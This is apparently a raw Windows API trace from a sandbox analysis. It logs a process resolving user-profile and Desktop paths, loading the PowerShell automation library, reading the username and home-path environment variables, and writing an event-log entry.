[0040.634] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.634] GetLastError () returned 0xcb
[0040.634] SetErrorMode (uMode=0x1) returned 0x1
[0040.634] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe662e5bd, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x5d39d9a0, ftLastAccessTime.dwHighDateTime=0x1d305dd, ftLastWriteTime.dwLowDateTime=0x5d39d9a0, ftLastWriteTime.dwHighDateTime=0x1d305dd, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.634] GetLastError () returned 0xcb
[0040.634] SetErrorMode (uMode=0x1) returned 0x1
[0040.634] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.634] GetLastError () returned 0xcb
[0040.634] SetErrorMode (uMode=0x1) returned 0x1
[0040.634] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xe662e5bd, ftCreationTime.dwHighDateTime=0x1ca0427, ftLastAccessTime.dwLowDateTime=0x5d39d9a0, ftLastAccessTime.dwHighDateTime=0x1d305dd, ftLastWriteTime.dwLowDateTime=0x5d39d9a0, ftLastWriteTime.dwHighDateTime=0x1d305dd, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.634] GetLastError () returned 0xcb
[0040.634] SetErrorMode (uMode=0x1) returned 0x1
[0040.634] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x16e264, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.634] GetLastError () returned 0xcb
[0040.634] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e200, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0040.634] GetLastError () returned 0xcb
[0040.634] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.634] GetLastError () returned 0xcb
[0040.634] SetErrorMode (uMode=0x1) returned 0x1
[0040.634] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfa01468f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x91ef5a00, ftLastAccessTime.dwHighDateTime=0x1d2db65, ftLastWriteTime.dwLowDateTime=0x91ef5a00, ftLastWriteTime.dwHighDateTime=0x1d2db65, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0040.634] GetLastError () returned 0xcb
[0040.634] SetErrorMode (uMode=0x1) returned 0x1
[0040.635] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.635] GetLastError () returned 0xcb
[0040.635] SetErrorMode (uMode=0x1) returned 0x1
[0040.635] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfa01468f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x91ef5a00, ftLastAccessTime.dwHighDateTime=0x1d2db65, ftLastWriteTime.dwLowDateTime=0x91ef5a00, ftLastWriteTime.dwHighDateTime=0x1d2db65, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0040.635] GetLastError () returned 0xcb
[0040.635] SetErrorMode (uMode=0x1) returned 0x1
[0040.635] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x16e264, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.635] GetLastError () returned 0xcb
[0040.635] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x16e200, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.635] GetLastError () returned 0xcb
[0040.635] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.635] GetLastError () returned 0xcb
[0040.635] SetErrorMode (uMode=0x1) returned 0x1
[0040.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z" (normalized: "c:\\users\\atveydl98z"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ef5a00, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0x387b8e90, ftLastAccessTime.dwHighDateTime=0x1d2dc22, ftLastWriteTime.dwLowDateTime=0x387b8e90, ftLastWriteTime.dwHighDateTime=0x1d2dc22, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.635] GetLastError () returned 0xcb
[0040.635] SetErrorMode (uMode=0x1) returned 0x1
[0040.635] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.635] GetLastError () returned 0xcb
[0040.635] SetErrorMode (uMode=0x1) returned 0x1
[0040.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z" (normalized: "c:\\users\\atveydl98z"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ef5a00, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0x387b8e90, ftLastAccessTime.dwHighDateTime=0x1d2dc22, ftLastWriteTime.dwLowDateTime=0x387b8e90, ftLastWriteTime.dwHighDateTime=0x1d2dc22, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.635] GetLastError () returned 0xcb
[0040.635] SetErrorMode (uMode=0x1) returned 0x1
[0040.635] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z", nBufferLength=0x105, lpBuffer=0x16e264, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.635] GetLastError () returned 0xcb
[0040.636] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\.", nBufferLength=0x105, lpBuffer=0x16e200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.636] GetLastError () returned 0xcb
[0040.636] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.636] GetLastError () returned 0xcb
[0040.636] SetErrorMode (uMode=0x1) returned 0x1
[0040.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.636] GetLastError () returned 0xcb
[0040.636] SetErrorMode (uMode=0x1) returned 0x1
[0040.636] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.636] GetLastError () returned 0xcb
[0040.636] SetErrorMode (uMode=0x1) returned 0x1
[0040.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x16e6d0 | out: lpFileInformation=0x16e6d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.636] GetLastError () returned 0xcb
[0040.636] SetErrorMode (uMode=0x1) returned 0x1
[0040.636] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e264, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.636] GetLastError () returned 0xcb
[0040.636] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x16e200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.636] GetLastError () returned 0xcb
[0040.636] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x16e25c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.636] GetLastError () returned 0xcb
[0040.636] SetErrorMode (uMode=0x1) returned 0x1
[0040.636] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x16e6dc | out: lpFileInformation=0x16e6dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfa01468f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x91ef5a00, ftLastAccessTime.dwHighDateTime=0x1d2db65, ftLastWriteTime.dwLowDateTime=0x91ef5a00, ftLastWriteTime.dwHighDateTime=0x1d2db65, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0040.636] GetLastError () returned 0xcb
[0040.636] SetErrorMode (uMode=0x1) returned 0x1
[0040.636] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x16e25c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.637] GetLastError () returned 0xcb
[0040.637] SetErrorMode (uMode=0x1) returned 0x1
[0040.637] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x16e6dc | out: lpFileInformation=0x16e6dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfa01468f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x91ef5a00, ftLastAccessTime.dwHighDateTime=0x1d2db65, ftLastWriteTime.dwLowDateTime=0x91ef5a00, ftLastWriteTime.dwHighDateTime=0x1d2db65, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0040.637] GetLastError () returned 0xcb
[0040.637] SetErrorMode (uMode=0x1) returned 0x1
[0040.637] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x16e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.637] GetLastError () returned 0xcb
[0040.637] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x16e20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
[0040.637] GetLastError () returned 0xcb
[0040.637] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z", nBufferLength=0x105, lpBuffer=0x16e25c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.637] GetLastError () returned 0xcb
[0040.637] SetErrorMode (uMode=0x1) returned 0x1
[0040.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z" (normalized: "c:\\users\\atveydl98z"), fInfoLevelId=0x0, lpFileInformation=0x16e6dc | out: lpFileInformation=0x16e6dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ef5a00, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0x387b8e90, ftLastAccessTime.dwHighDateTime=0x1d2dc22, ftLastWriteTime.dwLowDateTime=0x387b8e90, ftLastWriteTime.dwHighDateTime=0x1d2dc22, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.637] GetLastError () returned 0xcb
[0040.637] SetErrorMode (uMode=0x1) returned 0x1
[0040.637] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z", nBufferLength=0x105, lpBuffer=0x16e25c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.637] GetLastError () returned 0xcb
[0040.637] SetErrorMode (uMode=0x1) returned 0x1
[0040.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z" (normalized: "c:\\users\\atveydl98z"), fInfoLevelId=0x0, lpFileInformation=0x16e6dc | out: lpFileInformation=0x16e6dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ef5a00, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0x387b8e90, ftLastAccessTime.dwHighDateTime=0x1d2dc22, ftLastWriteTime.dwLowDateTime=0x387b8e90, ftLastWriteTime.dwHighDateTime=0x1d2dc22, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.638] GetLastError () returned 0xcb
[0040.638] SetErrorMode (uMode=0x1) returned 0x1
[0040.638] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z", nBufferLength=0x105, lpBuffer=0x16e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.638] GetLastError () returned 0xcb
[0040.638] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\.", nBufferLength=0x105, lpBuffer=0x16e20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z", lpFilePart=0x0) returned 0x13
[0040.638] GetLastError () returned 0xcb
[0040.638] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e25c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.638] GetLastError () returned 0xcb
[0040.638] SetErrorMode (uMode=0x1) returned 0x1
[0040.638] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x16e6dc | out: lpFileInformation=0x16e6dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.638] GetLastError () returned 0xcb
[0040.638] SetErrorMode (uMode=0x1) returned 0x1
[0040.638] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e25c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.638] GetLastError () returned 0xcb
[0040.638] SetErrorMode (uMode=0x1) returned 0x1
[0040.638] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x16e6dc | out: lpFileInformation=0x16e6dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.638] GetLastError () returned 0xcb
[0040.638] SetErrorMode (uMode=0x1) returned 0x1
[0040.638] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.638] GetLastError () returned 0xcb
[0040.638] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x16e20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.638] GetLastError () returned 0xcb
[0040.658] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop", nBufferLength=0x105, lpBuffer=0x16e32c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Desktop", lpFilePart=0x0) returned 0x1b
[0040.658] GetLastError () returned 0xcb
[0040.658] SetErrorMode (uMode=0x1) returned 0x1
[0040.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Desktop" (normalized: "c:\\users\\atveydl98z\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2224848 | out: lpFileInformation=0x2224848*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x922619a0, ftCreationTime.dwHighDateTime=0x1d2db65, ftLastAccessTime.dwLowDateTime=0xa23dd9f0, ftLastAccessTime.dwHighDateTime=0x1d32268, ftLastWriteTime.dwLowDateTime=0xa23dd9f0, ftLastWriteTime.dwHighDateTime=0x1d32268, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0040.658] GetLastError () returned 0xcb
[0040.658] SetErrorMode (uMode=0x1) returned 0x1
[0040.659] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e374, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.659] GetLastError () returned 0xcb
[0040.659] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.659] GetLastError () returned 0xcb
[0040.659] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.660] GetLastError () returned 0xcb
[0040.660] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.660] GetLastError () returned 0xcb
[0040.696] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e8c8 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e8c8) returned 0x1
[0040.696] GetLastError () returned 0xcb
[0040.696] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e8d0 | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e8d0) returned 1
[0040.698] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2245478*="Available", lpRawData=0x2245334) returned 1
[0040.698] GetLastError () returned 0x0
[0040.699] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.699] GetLastError () returned 0xcb
[0040.700] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.700] GetLastError () returned 0xcb
[0040.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e3a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.707] GetLastError () returned 0xcb
[0040.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.707] GetLastError () returned 0xcb
[0040.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.708] GetLastError () returned 0xcb
[0040.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.711] GetLastError () returned 0xcb
[0040.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.711] GetLastError () returned 0xcb
[0040.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.711] GetLastError () returned 0xcb
[0040.711] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="C:") returned 0x2
[0040.711] GetLastError () returned 0xcb
[0040.711] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="\\Users\\ATVeyDl98Z") returned 0x11
[0040.711] GetLastError () returned 0xcb
[0040.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.711] GetLastError () returned 0xcb
[0040.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.711] GetLastError () returned 0xcb
[0040.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.711] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e34c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.712] GetLastError () returned 0xcb
[0040.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
